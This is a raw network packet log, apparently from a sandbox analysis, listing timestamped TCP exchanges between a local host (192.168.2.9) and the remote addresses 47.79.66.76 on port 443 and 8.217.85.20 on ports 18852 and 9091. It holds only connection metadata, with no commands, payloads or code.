Jan 10, 2025 07:52:16.505615950 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.505640030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.505755901 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.505769014 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.505788088 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.506743908 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.514447927 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.514483929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.514539957 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.514549971 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.514591932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.514652967 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.527774096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.527801037 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.527930021 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.527944088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.528048992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.561914921 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.561952114 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.562051058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.562051058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.562066078 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.562506914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.574048042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.574081898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.574143887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.574153900 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.574204922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.574204922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.574737072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.574763060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.574857950 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.574857950 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.574866056 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.574984074 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.575782061 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.575808048 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.575913906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.575913906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.575921059 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.576020956 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.576231003 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.576256990 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.576309919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.576316118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.576361895 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.576361895 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.598248959 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.598289967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.598381042 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.598381996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.598397017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.598685026 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.607166052 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.607177019 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.607251883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.607264042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.607299089 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.607299089 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.620162010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.620203972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.620311975 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.620311975 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.620326996 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.620548964 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.654637098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.654670954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.654737949 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.654756069 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.654803038 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.654803038 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.666532040 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.666563988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.666692972 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.666704893 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.666752100 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.666752100 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.667351007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.667500973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.667509079 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668006897 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.668173075 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668195963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668286085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.668286085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.668293953 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668771982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668798923 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668831110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.668831110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.668837070 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.668900967 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.668901920 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.690793037 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.690826893 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.690959930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.690959930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.690973043 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.691335917 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.699749947 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.699785948 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.699884892 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.699884892 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.699897051 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.700887918 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.712544918 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.712579012 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.712693930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.712693930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.712703943 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.713345051 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.746947050 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.746978045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.747102976 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.747117043 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.747344971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.747668028 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.758939981 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.758975029 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.759026051 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.759040117 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.759330034 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.759804010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.759829044 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.759932995 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.759932995 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.759941101 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.760099888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.760154963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.760303020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.760310888 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.760956049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.760996103 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.761027098 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.761028051 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.761037111 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.761106014 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.761106014 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.783104897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.783138990 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.783186913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.783201933 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.783260107 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.783260107 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.792203903 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.792234898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.792449951 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.792458057 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.794692039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.838864088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.838907003 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.838994026 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.839011908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.839082956 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.849509954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.849541903 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.850687981 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.850697041 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.851363897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.851398945 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.851473093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.851485968 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.851727009 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.852056026 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.852081060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.852217913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.852226973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.852420092 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.852505922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.852507114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.854687929 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.854705095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:33.377075911 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:33.381947041 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:33.382030010 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.237663031 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237703085 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237756014 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237788916 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237788916 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.237823963 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237831116 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.237895966 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237929106 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237943888 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.237962961 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.237996101 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.238008976 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.238029957 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.238073111 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.242619038 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.242655039 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.242707014 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.242770910 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.242805004 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.242856026 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.243010998 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.291757107 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.474551916 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474570036 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474627972 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.474651098 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474661112 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474709034 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.474728107 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474786043 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474798918 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474827051 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.474915981 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474955082 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.474960089 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.474976063 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.475019932 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.475611925 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.475738049 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.475749016 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.475780964 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.476135969 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.476147890 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.476160049 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.476183891 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.476207972 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.476229906 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.476241112 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.476252079 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.476299047 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.477014065 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.477025032 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.477035999 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.477065086 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.477082968 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.477144003 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.526139021 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.563107014 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.604259968 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.711653948 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711688042 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711698055 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711707115 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711720943 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711760044 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.711783886 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711796045 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711824894 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.711961031 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.711972952 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712007999 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.712238073 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712281942 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.712306976 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712318897 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712364912 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.712444067 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712455988 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712467909 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712496996 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.712892056 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.712944031 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.713016987 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713028908 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713041067 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713059902 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.713151932 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713165045 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713175058 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713186979 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713200092 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.713226080 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.713928938 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713941097 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713951111 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.713992119 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.714011908 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.714076996 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714088917 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714099884 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714111090 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714124918 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.714143991 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.714255095 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714906931 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714917898 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714925051 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.714973927 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.715029001 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.760535002 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.948502064 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948517084 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948529005 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948568106 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.948668957 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948712111 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.948806047 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948818922 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948829889 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948843956 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.948860884 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.948884010 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949083090 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949095011 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949105024 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949136972 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949219942 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949239016 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949249983 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949261904 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949294090 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949577093 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949587107 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949626923 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949769974 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949783087 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949793100 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949801922 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949814081 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949820995 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949824095 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949839115 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949851036 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949883938 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.949923992 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.949969053 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.950472116 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950483084 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950524092 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.950632095 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950808048 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950819016 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950829029 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950839996 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.950856924 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.950886965 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:34.950980902 CET	18852	49907	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:34.951026917 CET	49907	18852	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:36.989550114 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:36.994569063 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:36.994651079 CET	49931	9091	192.168.2.9	8.217.85.20
